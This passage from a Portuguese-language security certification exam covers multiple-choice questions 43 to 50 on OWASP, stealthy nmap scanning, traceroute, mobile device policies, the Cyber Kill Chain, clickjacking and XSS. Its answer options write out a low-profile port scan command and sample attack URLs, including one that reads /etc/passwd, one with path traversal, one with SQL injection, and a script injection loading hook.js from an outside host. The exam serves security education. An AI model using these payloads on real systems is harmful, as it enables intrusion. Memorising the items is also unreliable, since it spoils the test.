D) A identificação de requisitos funcionais, não-funcionais e de segurança ainda durante as fases iniciais do projeto.

43. Assinale o item que apresenta um framework de segurança que apresenta um padrão de conscientização para desenvolvedores e profissionais de segurança, baseado em um amplo consenso sobre os riscos de segurança mais críticos para aplicações web.

A) OWASP Top 10.
B) ABNT NBR ISO/IEC 27002.
C) CIS Critical Security Controls.
D) NIST Cybersecurity Framework.

44. Um analista deseja identificar serviços em execução em um servidor de um cliente. Assinale o item que apresenta um comando capaz de realizar uma varredura no servidor, mantendo uma assinatura discreta para firewalls ou outras ferramentas de IDS/IPS.

A) nmap -sV -sR <IP_ALVO>

B) nmap -sn -Pn -f <IP_ALVO>

C) nmap -sS -T1 -Pn -n <IP_ALVO>

D) nmap -Pn -T5 --top-ports 1000 <IP_ALVO>

45. Durante a fase de conhecimento de um teste de segurança, um analista deseja mapear as rotas até o servidor alvo. Em um primeiro momento, percebeu que parte dos pacotes enviados pela ferramenta utilizada foram perdidos ou bloqueados. Assinale o item que apresenta um comando que permitirá ao analista obter as informações dos nós ao longo do caminho.

A) traceroute -F -n <IP_ALVO>

B) traceroute -n -I <IP_ALVO>

C) traceroute -T -F <IP_ALVO>

D) traceroute -T -A <IP_ALVO>

46. Vulnerabilidades na arquitetura de uma rede a tornam mais suscetível a intrusões não detectadas ou a falhas catastróficas em seus serviços. Assinale o item que NÃO corresponde a uma vulnerabilidade relacionada à arquitetura de redes de computadores.

A) Ausência de testes dinâmicos.
B) Dependência excessiva da segurança do perímetro.
C) Dependências complexas entre sistemas e serviços.
D) Insuficiência na documentação e controle de mudanças.

47. A utilização de dispositivos móveis em tarefas de gerenciamento de e-mails e agendas tornou-se uma realidade, sendo comum também para o acesso a diversos outros processos de negócios. Em ambientes onde dispositivos móveis estão presentes, convém a adoção de controles contra ameaças físicas e lógicas, dentro e fora dos perímetros organizacionais. Assinale o item que apresenta um modelo de implantação de dispositivos móveis a ser evitado em ambientes onde a confidencialidade é um fator crítico.

A) Corporate owned, personally-enabled (COPE).
B) Corporate owned, business only (COBO).
C) Choose your own device (CYOD).
D) Bring your own device (BYOD).

48. Uma resposta eficiente a incidentes depende de um bom trabalho relacionado à inteligência sobre ameaças. Além disso, o conhecimento sobre uma estrutura que permite descrever as etapas de um ataque auxilia na determinação de contramedidas às ações adversárias. Uma dessas ferramentas, a Cyber Kill Chain ®, desenvolvida pela empresa Lockheed Martin, define e descreve as seguintes fases: reconhecimento, armamento, entrega, exploração, instalação, comando-e-controle e ações sobre objetivos.

Assinale o item que correlaciona um controle que atua diretamente nas fases indicadas.

A) Segmentação de rede - Entrega, Instalação e Ações sobre objetivos.
B) Instalação de uma solução de EDR - Exploração, Instalação e Comando-e-controle.
C) Campanha de conscientização sobre phishing - Reconhecimento, Entrega e Armamento.
D) Desabilitar execução automática de códigos móveis - Entrega, Armamento e Exploração.

49. A vítima é apresentada a uma aplicação web, aparentemente confiável, com algum tipo de página ou formulário de login, contendo uma camada maliciosa ou um iframe invisível que permite ao atacante interceptar ou redirecionar a entrada do usuário. Este ataque pode ser realizado utilizando qualquer tipo de vulnerabilidade que permita ao adversário executar um código arbitrário, como um script.

O cenário do enunciado descreve um ataque conhecido como:

A) SQL Injection.
B) Clickjacking.
C) Session Hijacking.
D) DOM-based XSS.

50. Os ataques de Cross-Site Scripting (XSS) são um tipo de injeção em que scripts maliciosos são inseridos em sites legítimos e confiáveis. Assinale o item que apresenta uma evidência relacionada a um ataque de XSS.

A) https://lojadebolo.com.br/produtos#prod=file:///etc/passwd
B) https://lojadebolo.com.br/produtos#prod=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/config
C) https://lojadebolo.com.br/produtos#prod=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
D) https://lojadebolo.com.br/produtos#prod=chocolate%3Cscript%20src%3D%22https%3A%2F%2Frepo123.ru%2Fhook.js%22%3E%3C%2Fscript%3E